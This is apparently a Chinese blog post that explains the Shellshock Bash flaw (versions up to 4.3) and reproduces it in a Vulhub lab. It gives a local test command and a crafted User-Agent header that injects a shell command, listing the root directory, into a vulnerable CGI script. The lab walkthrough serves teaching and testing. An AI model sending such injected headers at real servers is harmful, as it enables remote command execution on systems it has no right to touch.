bash说明
Bash是Unix shell的一种。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上。
漏洞原理
目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题的是以”(){”开头定义的环境变量在命令env中解析成函数后,Bash执行未退出,而是继续解析并执行shell命令,而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统。
漏洞复现
环境说明
- linux(装有vulhub靶场)
- Windows2012(攻击机)
漏洞条件
Bash <= 4.3
漏洞复现
- 测试Linux是否存在shellshock漏洞
执行命令:env x='() { :;}; echo shellshocked' bash -c "echo hi"
,如果出现图中所示的结果就表示存在shellshock漏洞。
- 进入靶场,靶场的搭建可以参见我的上一篇博文:Vulhub靶场搭建
http://#{ip}:8080/victim.cgi
- 打开burp,抓包,构造User-Agent,然后发送。
User-Agent: () { :;};echo ; echo; echo $(/bin/ls /);